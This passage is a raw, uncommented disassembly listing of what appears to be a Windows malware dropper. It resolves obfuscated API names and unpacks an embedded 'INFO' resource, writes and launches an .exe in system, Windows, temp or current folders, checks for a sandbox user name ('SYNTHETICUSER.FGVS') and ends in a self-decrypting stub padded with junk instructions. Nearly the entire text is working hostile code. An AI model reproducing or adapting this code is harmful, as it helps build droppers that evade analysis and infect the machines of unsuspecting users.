ebp pop ebp retn 4 sub_4070E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; char LibFileName[] LibFileName db 'kernel32.dll',0 ; DATA XREF: sub_4070E0+6Bo align 10h dd 0FFFFFFFFh, 0Eh dword_407518 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+7Eo dd 0Bh dword_407530 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_4070E0+A5o dword_407544 dd 9296A374h, 0A38196A5h, 0A49694A0h, 72A4h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+CAo dd 10h aXceesgctxtaqec db 'x–¥…™£–’•t Ÿ¥–©¥',0 ; DATA XREF: sub_4070E0+EEo align 10h dd 0FFFFFFFFh, 11h aGctxbgafcddCua db 'ƒ–’•£ ”–¤¤~–ž £ª',0 ; DATA XREF: sub_4070E0+112o align 4 dd 0FFFFFFFFh, 0Eh dword_407594 dd 0A5A39A87h, 729D92A6h, 94A09D9Dh, 0A976h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+137o dd 12h aIgEcbgafcddCua db 'ˆ£š¥–£ ”–¤¤~–ž £ª',0 ; DATA XREF: sub_4070E0+15Co align 10h dd 0FFFFFFFFh, 10h aDceesgctxtaqec db '„–¥…™£–’•t Ÿ¥–©¥',0 ; DATA XREF: sub_4070E0+181o align 4 dd 0FFFFFFFFh, 0Ch dword_4075E4 dd 0A6A49683h, 9985969Eh, 959296A3h, 0 ; DATA XREF: sub_4070E0+1A6o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075F4 proc near ; CODE XREF: CODE:00407E47p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi push edi xor edx, edx mov [ebp+var_18], edx mov [ebp+var_14], edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4076B6 push dword ptr fs:[eax] mov fs:[eax], esp push offset aKernel32_dll_0 ; "kernel32.dll" call LoadLibraryA mov ebx, eax lea edx, [ebp+var_10] mov eax, offset dword_4076E0 call sub_407038 mov eax, [ebp+var_10] call sub_402A38 push eax ; lpProcName push ebx ; hModule call GetProcAddress_0 mov esi, eax lea edx, [ebp+var_14] mov eax, offset aXcewAcreegUjec ; "x–¥wš–r¥¥£š“¦¥–¤r" call sub_407038 mov eax, [ebp+var_14] call sub_402A38 push eax push ebx call esi mov edi, eax lea edx, [ebp+var_18] mov eax, offset dword_407714 call sub_407038 mov eax, [ebp+var_18] call sub_402A38 push eax push ebx call esi mov [ebp+var_C], eax mov eax, [ebp+var_4] call sub_402A38 push eax call edi cmp eax, 0FFFFFFFFh jz short loc_40768E test al, 10h jnz short loc_407692 loc_40768E: ; CODE XREF: sub_4075F4+94j xor eax, eax jmp short loc_407694 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_4075F4+98j mov al, 1 loc_407694: ; CODE XREF: sub_4075F4+9Cj mov [ebp+var_5], al push ebx call [ebp+var_C] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4076BD loc_4076A8: ; CODE XREF: sub_4075F4+C7j lea eax, [ebp+var_18] mov edx, 3 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4076B6: ; DATA XREF: sub_4075F4+1Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4076A8 ; --------------------------------------------------------------------------- loc_4076BD: ; CODE XREF: sub_4075F4+C1j ; DATA XREF: sub_4075F4+AFo mov al, [ebp+var_5] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4075F4 endp ; --------------------------------------------------------------------------- align 4 ; char aKernel32_dll_0[] aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_4075F4+25o align 4 dd 0FFFFFFFFh, 0Eh dword_4076E0 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_4075F4+34o dd 12h aXcewAcreegUjec db 'x–¥wš–r¥¥£š“¦¥–¤r',0 ; DATA XREF: sub_4075F4+52o align 4 dd 0FFFFFFFFh, 0Bh dword_407714 dd 9696A377h, 0A3939A7Dh, 0AAA392h ; DATA XREF: sub_4075F4+6Do ; =============== S U B R O U T I N E ======================================= sub_407720 proc near ; CODE XREF: CODE:00407C8Cp ; CODE:00407E94p var_108 = byte ptr -108h push ebx push esi add esp, 0FFFFFEF4h mov esi, edx mov ebx, eax lea edx, [esp+114h+var_108] mov eax, ebx call sub_401B14 lea edx, [esp+114h+var_108] mov eax, esp mov cl, 0Bh call sub_401948 mov eax, esi mov edx, esp call sub_402808 add esp, 10Ch pop esi pop ebx retn sub_407720 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407758 proc near ; CODE XREF: CODE:00407C4Ep ; CODE:00407CB4p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFC8h push ebx push esi push edi xor ecx, ecx mov [ebp+var_38], ecx mov [ebp+var_34], ecx mov [ebp+var_30], ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx mov [ebp+var_20], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4078B5 push dword ptr fs:[eax] mov fs:[eax], esp push offset aKernel32_dll_1 ; "kernel32.dll" call LoadLibraryA mov ebx, eax lea edx, [ebp+var_20] mov eax, offset dword_4078E0 call sub_407038 mov eax, [ebp+var_20] call sub_402A38 push eax ; lpProcName push ebx ; hModule call GetProcAddress_0 mov esi, eax lea edx, [ebp+var_24] mov eax, offset dword_4078F8 call sub_407038 mov eax, [ebp+var_24] call sub_402A38 push eax push ebx call esi mov [ebp+var_1C], eax lea edx, [ebp+var_28] mov eax, offset dword_40790C call sub_407038 mov eax, [ebp+var_28] call sub_402A38 push eax push ebx call esi mov edi, eax lea edx, [ebp+var_2C] mov eax, offset dword_407924 call sub_407038 mov eax, [ebp+var_2C] call sub_402A38 push eax push ebx call esi mov [ebp+var_C], eax lea edx, [ebp+var_30] mov eax, offset dword_40793C call sub_407038 mov eax, [ebp+var_30] call sub_402A38 push eax push ebx call esi mov [ebp+var_10], eax lea edx, [ebp+var_34] mov eax, offset dword_407954 call sub_407038 mov eax, [ebp+var_34] call sub_402A38 push eax push ebx call esi mov [ebp+var_14], eax lea edx, [ebp+var_38] mov eax, offset dword_40796C call sub_407038 mov eax, [ebp+var_38] call sub_402A38 push eax push ebx call esi mov [ebp+var_18], eax push 0Ah mov eax, [ebp+var_8] push eax mov eax, ds:dword_40A694 push eax call edi mov esi, eax push esi mov eax, ds:dword_40A694 push eax call [ebp+var_C] mov edx, [ebp+var_4] mov [edx], eax push esi mov eax, ds:dword_40A694 push eax call [ebp+var_10] mov esi, eax push esi call [ebp+var_14] mov edi, eax test edi, edi jz short loc_407896 push esi call [ebp+var_18] loc_407896: ; CODE XREF: sub_407758+138j push ebx call [ebp+var_1C] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4078BC loc_4078A7: ; CODE XREF: sub_407758+162j lea eax, [ebp+var_38] mov edx, 7 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4078B5: ; DATA XREF: sub_407758+29o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4078A7 ; --------------------------------------------------------------------------- loc_4078BC: ; CODE XREF: sub_407758+15Cj ; DATA XREF: sub_407758+14Ao mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407758 endp ; --------------------------------------------------------------------------- align 4 ; char aKernel32_dll_1[] aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_407758+34o align 4 dd 0FFFFFFFFh, 0Eh dword_4078E0 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_407758+43o dd 0Bh dword_4078F8 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Dh ; DATA XREF: sub_407758+61o dword_40790C dd 959F9A77h, 0A0A49683h, 9694A3A6h, 72h, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_407758+7Do dword_407924 dd 96AB9A84h, 968397A0h, 0A3A6A0A4h, 9694h, 0FFFFFFFFh ; DATA XREF: sub_407758+98o dd 0Ch dword_40793C dd 9592A07Dh, 0A0A49683h, 9694A3A6h, 0 ; DATA XREF: sub_407758+B4o dd 0FFFFFFFFh, 0Ch dword_407954 dd 9C94A07Dh, 0A0A49683h, 9694A3A6h, 0 ; DATA XREF: sub_407758+D0o dd 0FFFFFFFFh, 0Ch dword_40796C dd 9696A377h, 0A0A49683h, 9694A3A6h, 0 ; DATA XREF: sub_407758+ECo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797C proc near ; CODE XREF: CODE:00407D65p ; CODE:00407D95p ... Buffer = byte ptr -109h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEF4h push ebx push esi mov esi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 xor eax, eax push ebp push offset loc_407A04 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_4025C8 lea eax, [ebp+Buffer] xor ecx, ecx mov edx, 105h call sub_401964 mov ebx, 105h push ebx ; nSize lea eax, [ebp+Buffer] push eax ; lpBuffer mov eax, [ebp+var_4] call sub_402A38 push eax ; lpName call GetEnvironmentVariableA mov ebx, eax test ebx, ebx jbe short loc_4079EE mov eax, esi lea edx, [ebp+Buffer] mov ecx, 105h call sub_402814 loc_4079EE: ; CODE XREF: sub_40797C+5Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407A0B loc_4079FB: ; CODE XREF: sub_40797C+8Dj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_407A04: ; DATA XREF: sub_40797C+1Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4079FB ; --------------------------------------------------------------------------- loc_407A0B: ; CODE XREF: sub_40797C+87j ; DATA XREF: sub_40797C+7Ao pop esi pop ebx mov esp, ebp pop ebp retn sub_40797C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A14 proc near ; CODE XREF: CODE:00407D77p ; CODE:00407DB4p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 mov eax, [ebp+var_8] call sub_402A28 mov eax, [ebp+var_C] call sub_402A28 xor eax, eax push ebp push offset loc_407AAF push dword ptr fs:[eax] mov fs:[eax], esp jmp short loc_407A7A ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407A14+73j mov edx, [ebp+var_4] mov eax, [ebp+var_8] call sub_402B78 mov ebx, eax mov eax, [ebp+var_8] call sub_402840 mov ecx, eax lea eax, [ebp+var_4] mov edx, ebx call sub_402AD4 lea edx, [ebp+var_4] mov ecx, ebx mov eax, [ebp+var_C] call sub_402B1C loc_407A7A: ; CODE XREF: sub_407A14+36j mov edx, [ebp+var_4] mov eax, [ebp+var_8] call sub_402B78 test eax, eax jg short loc_407A4C mov eax, [ebp+arg_0] mov edx, [ebp+var_4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407AB6 loc_407AA1: ; CODE XREF: sub_407A14+A0j lea eax, [ebp+var_C] mov edx, 3 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_407AAF: ; DATA XREF: sub_407A14+2Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407AA1 ; --------------------------------------------------------------------------- loc_407AB6: ; CODE XREF: sub_407A14+9Aj ; DATA XREF: sub_407A14+88o pop ebx mov esp, ebp pop ebp retn 4 sub_407A14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407AC0 proc near ; CODE XREF: CODE:00407DFDp push ebx add esp, 0FFFFFEF8h mov ebx, eax mov eax, esp xor ecx, ecx mov edx, 105h call sub_401964 push esp ; lpBuffer push 104h ; nBufferLength call GetCurrentDirectoryA mov eax, ebx mov edx, esp mov ecx, 105h call sub_402814 add esp, 108h pop ebx retn sub_407AC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407AF8 proc near ; DATA XREF: CODE:00407B6Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_407B17 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407B1E loc_407B16: ; CODE XREF: sub_407AF8+24j retn ; --------------------------------------------------------------------------- loc_407B17: ; DATA XREF: sub_407AF8+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407B16 ; --------------------------------------------------------------------------- loc_407B1E: ; CODE XREF: sub_407AF8:loc_407B16j ; DATA XREF: sub_407AF8+19o pop ebp retn sub_407AF8 endp ; --------------------------------------------------------------------------- dword_407B20 dd 9 ; DATA XREF: CODE:00407B82o dd offset off_407B28 off_407B28 dd offset loc_403598 ; DATA XREF: CODE:00407B24o dd offset sub_403568 dd offset sub_403450 dd offset sub_403408 dd offset sub_4035D0 dd offset sub_4035A0 dd offset sub_4036E8 dd offset sub_4036B8 dd offset sub_403720 dd offset sub_4036F0 dd offset sub_4039D0 dd offset sub_4039A0 dd offset sub_406D18 dd offset sub_406B98 dd offset sub_406F70 dd offset sub_406F40 dd 0 dd offset sub_407AF8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 0Dh loc_407B78: ; CODE XREF: CODE:00407B7Dj push 0 push 0 dec ecx jnz short loc_407B78 push ebx push esi push edi mov eax, offset dword_407B20 call sub_403524 xor eax, eax push ebp push offset loc_407FD2 push dword ptr fs:[eax] mov fs:[eax], esp push offset dword_407FE4 call LoadLibraryA mov ds:dword_40AA44, eax push offset dword_407FF4 call LoadLibraryA mov ds:dword_40AA48, eax lea edx, [ebp-14h] mov eax, offset dword_408008 call sub_407038 mov eax, [ebp-14h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call GetProcAddress_0 mov ebx, eax lea edx, [ebp-18h] mov eax, offset dword_408020 call sub_407038 mov eax, [ebp-18h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call ebx mov ds:dword_40AA38, eax lea edx, [ebp-1Ch] mov eax, offset dword_408034 call sub_407038 mov eax, [ebp-1Ch] call sub_402A38 push eax mov eax, ds:dword_40AA48 push eax call ebx mov ds:dword_40AA3C, eax lea edx, [ebp-20h] mov eax, offset dword_40804C call sub_407038 mov eax, [ebp-20h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call ebx mov ds:dword_40AA40, eax mov edx, offset aInfo ; "INFO" mov eax, offset dword_40A7D4 call sub_407758 mov ebx, eax test ebx, ebx jnz short loc_407C61 push 0 call ds:dword_40AA40 loc_407C61: ; CODE XREF: CODE:00407C57j mov edx, offset byte_40A7E0 mov eax, ebx mov ecx, ds:dword_40A7D4 call sub_401340 mov esi, 1 mov eax, offset dword_40A8E4 call sub_4025C8 mov edi, 0Ah loc_407C87: ; CODE XREF: CODE:00407F91j lea edx, [ebp-24h] mov eax, esi call sub_407720 mov ecx, [ebp-24h] mov eax, offset dword_40A8E4 mov edx, offset dword_408068 call sub_40288C mov eax, ds:dword_40A8E4 call sub_402A38 mov edx, eax mov eax, offset dword_40A7D8 call sub_407758 mov ebx, eax test ebx, ebx jz loc_407F87 mov eax, offset dword_40A7DC mov edx, ds:dword_40A7D8 call sub_402BC0 mov eax, offset dword_40A7DC call sub_402A8C mov edx, eax mov eax, ebx mov ecx, ds:dword_40A7D8 call sub_401340 cmp ds:byte_40A8E1, 1 jnz short loc_407D2B lea edx, [ebp-30h] mov eax, ds:dword_40A7DC call sub_407038 mov eax, [ebp-30h] push eax lea eax, [ebp-2Ch] push eax call sub_406DAC mov eax, [ebp-2Ch] push eax lea eax, [ebp-28h] push eax call sub_406E6C mov edx, [ebp-28h] mov eax, offset dword_40A7DC call sub_40261C jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D2B: ; CODE XREF: CODE:00407CF3j lea edx, [ebp-34h] mov eax, ds:dword_40A7DC call sub_407038 mov edx, [ebp-34h] mov eax, offset dword_40A7DC call sub_40261C loc_407D45: ; CODE XREF: CODE:00407D29j mov eax, offset dword_40A8E8 mov edx, offset byte_40A7E1 mov ecx, 100h call sub_402814 lea eax, [ebp-38h] push eax lea edx, [ebp-3Ch] mov eax, offset aSystemroot ; "SystemRoot" call sub_40797C mov ecx, [ebp-3Ch] mov edx, offset dword_408088 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-38h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-40h] push eax lea edx, [ebp-44h] mov eax, offset aSystemroot ; "SystemRoot" call sub_40797C lea eax, [ebp-44h] mov edx, offset dword_40809C call sub_402848 mov ecx, [ebp-44h] mov edx, offset dword_4080B0 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-40h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-48h] push eax lea edx, [ebp-4Ch] mov eax, offset aTemp ; "TEMP" call sub_40797C mov ecx, [ebp-4Ch] mov edx, offset dword_4080D4 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-48h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-50h] push eax lea eax, [ebp-54h] call sub_407AC0 mov ecx, [ebp-54h] mov edx, offset dword_4080E4 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-50h] mov eax, offset dword_40A8E8 call sub_40261C cmp ds:byte_40A7E0, 0 jz loc_407F33 mov eax, ds:dword_40A8E8 call sub_402A38 mov ebx, eax mov edx, ebx lea eax, [ebp-58h] call sub_40279C mov eax, [ebp-58h] call sub_4075F4 test al, al jnz short loc_407E76 push 0 push ebx call CreateDirectoryA test eax, eax jnz short loc_407E76 lea edx, [ebp-5Ch] mov eax, offset aTemp ; "TEMP" call sub_40797C mov edx, [ebp-5Ch] mov eax, offset dword_40A8E8 call sub_40261C loc_407E76: ; CODE XREF: CODE:00407E4Ej ; CODE:00407E5Aj call sub_4014EC push ds:dword_40A8E8 push offset dword_4080F8 imul eax, esi, 1388h call sub_401984 lea edx, [ebp-60h] call sub_407720 push dword ptr [ebp-60h] push offset dword_408104 mov eax, offset dword_40A8E8 mov edx, 4 call sub_402900 mov edx, ds:dword_40A8E8 mov eax, offset dword_40A8EC call sub_401780 mov edx, 1 mov eax, offset dword_40A8EC call sub_401AA8 call sub_4012E4 call sub_401320 test eax, eax jnz loc_407F8F push 0 mov eax, offset dword_40A7DC call sub_402A8C mov edx, eax mov ecx, ds:dword_40A7D8 mov eax, offset dword_40A8EC call sub_4018D0 call sub_4012E4 mov eax, offset dword_40A8EC call sub_4018F0 call sub_4012E4 push 1 push 0 push 0 mov eax, ds:dword_40A8E8 call sub_402A38 push eax push offset aOpen ; "open" push 0 call ds:dword_40AA3C jmp short loc_407F8F ; --------------------------------------------------------------------------- loc_407F33: ; CODE XREF: CODE:00407E28j call sub_406F88 cmp al, 1 jnz short loc_407F43 xor eax, eax call sub_4025B0 ; --------------------------------------------------------------------------- loc_407F43: ; CODE XREF: CODE:00407F3Aj lea eax, [ebp-64h] call sub_406FBC mov eax, [ebp-64h] mov edx, offset aSyntheticuser_ ; "SYNTHETICUSER.FGVS" call sub_402984 jnz short loc_407F61 xor eax, eax call sub_4025B0 ; --------------------------------------------------------------------------- loc_407F61: ; CODE XREF: CODE:00407F58j push 0 lea edx, [ebp-68h] xor eax, eax call sub_40148C mov eax, [ebp-68h] push eax mov eax, offset dword_40A7DC call sub_402A8C xor ecx, ecx pop edx call sub_4070E0 test al, al jmp short loc_407F8F ; --------------------------------------------------------------------------- loc_407F87: ; CODE XREF: CODE:00407CBDj push 0 call ds:dword_40AA40 loc_407F8F: ; CODE XREF: CODE:00407EDBj ; CODE:00407F31j ... inc esi dec edi jnz loc_407C87 push 0 call ds:dword_40AA40 mov eax, ds:dword_40AA48 push eax call ds:dword_40AA38 mov eax, ds:dword_40AA44 push eax call ds:dword_40AA38 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407FD9 loc_407FC4: ; CODE XREF: CODE:00407FD7j lea eax, [ebp-68h] mov edx, 16h call sub_4025EC retn ; --------------------------------------------------------------------------- loc_407FD2: ; DATA XREF: CODE:00407B8Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407FC4 ; --------------------------------------------------------------------------- loc_407FD9: ; CODE XREF: CODE:00407FD1j ; DATA XREF: CODE:00407FBFo pop edi pop esi pop ebx call sub_4024E0 ; --------------------------------------------------------------------------- align 4 dword_407FE4 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: CODE:00407B9Ao dword_407FF4 dd 6C656873h, 2E32336Ch, 6C6C64h, 0FFFFFFFFh, 0Eh ; DATA XREF: CODE:00407BA9o dword_408008 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: CODE:00407BBBo dd 0Bh dword_408020 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Dh ; DATA XREF: CODE:00407BDEo dword_408034 dd 9D969984h, 96A9769Dh, 96A5A694h, 72h, 0FFFFFFFFh, 0Bh ; DATA XREF: CODE:00407C01o dword_40804C dd 0A59AA976h, 94A0A381h, 0A4A496h ; DATA XREF: CODE:00407C24o aInfo db 'INFO',0 ; DATA XREF: CODE:00407C44o align 10h dd 0FFFFFFFFh, 2 dword_408068 dd 4643h, 0FFFFFFFFh, 0Ah ; DATA XREF: CODE:00407C99o aSystemroot db 'SystemRoot',0 ; DATA XREF: CODE:00407D60o ; CODE:00407D90o align 10h dd 0FFFFFFFFh, 8 dword_408088 dd 6E697725h, 25726964h, 0 ; DATA XREF: CODE:00407D6Do dd 0FFFFFFFFh, 9 dword_40809C dd 7379535Ch, 336D6574h, 32h, 0FFFFFFFFh, 8 ; DATA XREF: CODE:00407D9Do dword_4080B0 dd 73797325h, 25726964h, 0 ; DATA XREF: CODE:00407DAAo dd 0FFFFFFFFh, 4 aTemp db 'TEMP',0 ; DATA XREF: CODE:00407DCDo ; CODE:00407E5Fo align 4 dd 0FFFFFFFFh, 6 dword_4080D4 dd 6D657425h, 2570h, 0FFFFFFFFh, 9 ; DATA XREF: CODE:00407DDAo dword_4080E4 dd 72756325h, 746E6572h, 25h, 0FFFFFFFFh, 1 ; DATA XREF: CODE:00407E05o dword_4080F8 dd 5Ch, 0FFFFFFFFh, 4 ; DATA XREF: CODE:00407E81o dword_408104 dd 6578652Eh, 0 ; DATA XREF: CODE:00407E9Co aOpen db 'open',0 ; DATA XREF: CODE:00407F24o align 4 dd 0FFFFFFFFh, 12h aSyntheticuser_ db 'SYNTHETICUSER.FGVS',0 ; DATA XREF: CODE:00407F4Eo align 10h db 87h, 0DBh ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_408147 clc call sub_4081EE cld cld jmp loc_408180 ; =============== S U B R O U T I N E ======================================= sub_408147 proc near ; CODE XREF: CODE:00408135p push dword ptr fs:0 mov fs:0, esp add dword_4081D5, ebp xchg ebx, ebx xchg ebx, ebx xor ecx, ecx push ecx push ecx push 80000000h push ecx push ecx push ecx push 80000000h push ecx push 10h push ecx ; lpProcName push 10h ; hModule call ds:__imp_GetProcAddress loc_408180: ; CODE XREF: CODE:00408142j sub eax, eax loc_408182: ; CODE XREF: sub_408147+41j dec al or al, al jz short loc_40818C jnz short loc_408182 jmp short near ptr loc_4081F2+1 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_408147+3Fj jmp short $+2 mov edx, edx clc call loc_408199 mov edx, edx nop sub_408147 endp ; sp-analysis failed loc_408199: ; CODE XREF: sub_408147+4Ap pop edi mov ebx, ebx sub edi, 0FFFE5796h xor esi, esi xor esi, 2A5Eh jmp short $+2 jmp short $+2 mov ebx, 5Fh cmc stc jmp short $+2 push edi jmp short $+2 stc loc_4081BB: ; CODE XREF: CODE:004081CFj mov al, [edi] sub ax, bx xchg ebx, ebx xchg al, [edi] cld xchg ebx, ebx inc edi inc ebx dec esi jmp short $+2 cmp esi, 0 jnz short loc_4081BB pop edi mov eax, eax ; --------------------------------------------------------------------------- db 0BDh dword_4081D5 dd 0 ; DATA XREF: sub_408147+Cw ; --------------------------------------------------------------------------- cld jmp short $+2 clc mov ebx, [ebp-8] mov fs:0, ebx jmp short $+2 leave xchg ebx, ebx clc jmp edi ; =============== S U B R O U T I N E ======================================= sub_4081EE proc near ; CODE XREF: CODE:0040813Bp arg_C = dword ptr 10h mov ecx, [esp+arg_C] loc_4081F2: ; CODE XREF: sub_408147+43j xor eax, eax pop dword ptr [ecx+0B8h] retn sub_4081EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F5h dd 0EBh CODE ends ; Section 2. (virtual address 00009000) ; Virtual size : 00000418 ( 1048.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00007600 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 409000h dword_409000 dd 0 ; DATA XREF: sub_4024B0+2w ; sub_4024E0+9o ... dword_409004 dd 0 ; DATA XREF: sub_401280w ; sub_4024E0:loc_40250Fr ... dword_409008 dd 0 ; DATA XREF: sub_4014EC+31w ; sub_401984+3r ... byte_40900C db 2 ; DATA XREF: sub_4019C8+4Er db 8Dh, 40h, 0 word_409010 dw 1332h ; DATA XREF: sub_401EE8+3r dw 0C08Bh byte_409014 db 0 ; DATA XREF: sub_4020F0r sub_40210Cr ... db 8Dh, 40h, 0 byte_409018 db 0 ; DATA XREF: sub_4021A4+52r ; sub_4021A4:loc_402231r db 8Dh, 40h, 0 byte_40901C db 1 ; DATA XREF: sub_401780+25r db 8Dh, 40h, 0 dword_409020 dd 0 ; DATA XREF: sub_402F04r sub_403368r ... dword_409024 dd 0 ; DATA XREF: sub_403378+4r off_409028 dd offset sub_403378 ; DATA XREF: sub_4024E0+66r off_40902C dd offset nullsub_1 ; DATA XREF: sub_402C70+67r off_409030 dd offset nullsub_1 ; DATA XREF: sub_402C70+71r off_409034 dd offset sub_4023B8 ; DATA XREF: sub_4023B8+Fr ; sub_4023B8+35r ... off_409038 dd offset sub_402384 ; DATA XREF: sub_4024E0:loc_40252Er off_40903C dd offset nullsub_1 ; DATA XREF: sub_4024E0:loc_402561r off_409040 dd offset nullsub_1 ; DATA XREF: sub_403408:loc_403430r ; DWORD dwFlags dwFlags dd 0 ; DATA XREF: sub_4011B0+1r ; sub_4011C4+4r ... off_409048 dd offset sub_4011B0 ; DATA XREF: sub_401200+4r ; sub_401230+3Fr off_40904C dd offset sub_4011C4 ; DATA XREF: sub_401218+4r ; sub_401230+26r off_409050 dd offset sub_4011E8 ; DATA XREF: sub_401230+Dr byte_409054 db 0 ; DATA XREF: sub_40128C+36r aRsu db 'ËÌÈÉ×ÏÈÍÎÛØÊÙÚÜÝÞßàáã',0 aFxn@ db 'äå@',0 dword_409070 dd 3 ; DATA XREF: sub_4019C8+5Ar align 8 dd 1, 2, 3, 3 dup(0) off_409090 dd offset nullsub_1 ; DATA XREF: sub_4024E0+38r dword_409094 dd 0 ; DATA XREF: sub_403518o ; sub_403524+33o dword_409098 dd 0 ; DATA XREF: sub_403524+1Bw dword_40909C dd 0 ; DATA XREF: sub_403524+22w dword_4090A0 dd 0 ; DATA XREF: sub_403524+29w dd 2 dup(0) dword_4090AC dd 0 ; DATA XREF: sub_406B98+15Do dword_4090B0 dd 0 ; DATA XREF: sub_406B98+153o dword_4090B4 dd 0 ; DATA XREF: sub_406094+1Bw ; sub_406350+69r dword_4090B8 dd 0 ; DATA XREF: sub_406094+24w dword_4090BC dd 0 ; DATA XREF: sub_406094+2Dw dword_4090C0 dd 0 ; DATA XREF: sub_406094+36w dword_4090C4 dd 0 ; DATA XREF: sub_406094+3Bo ; sub_406B98+149o dword_4090C8 dd 0 ; DATA XREF: sub_405474+C4r ; sub_4060EC+1Br ... dd 7 dup(0) off_4090E8 dd offset dword_4043C8 ; DATA XREF: sub_406B98+70o ; sub_406D18+37o dword_4090EC dd 0 ; DATA XREF: sub_40685C+1Cw ; sub_40685C:loc_40687Dr ... off_4090F0 dd offset dword_404410 ; DATA XREF: sub_406B98+5Bo dd offset dword_404410+0Ch off_4090F8 dd offset off_4037E8 ; DATA XREF: sub_404654+43r ; CODE:00406B8Co off_4090FC dd offset off_4037F0 ; DATA XREF: CODE:00406B80o tbyte_409100 dt 1.0e18 ; DATA XREF: sub_404F3D+63r dw 0C08Bh flt_40910C db 0Ah, 0, 0, 0 ; DATA XREF: sub_404BF4+23r ; sub_404F3D+78r off_409110 dd offset off_403870 ; DATA XREF: sub_4051EC+3Ao ; CODE:00406B74o 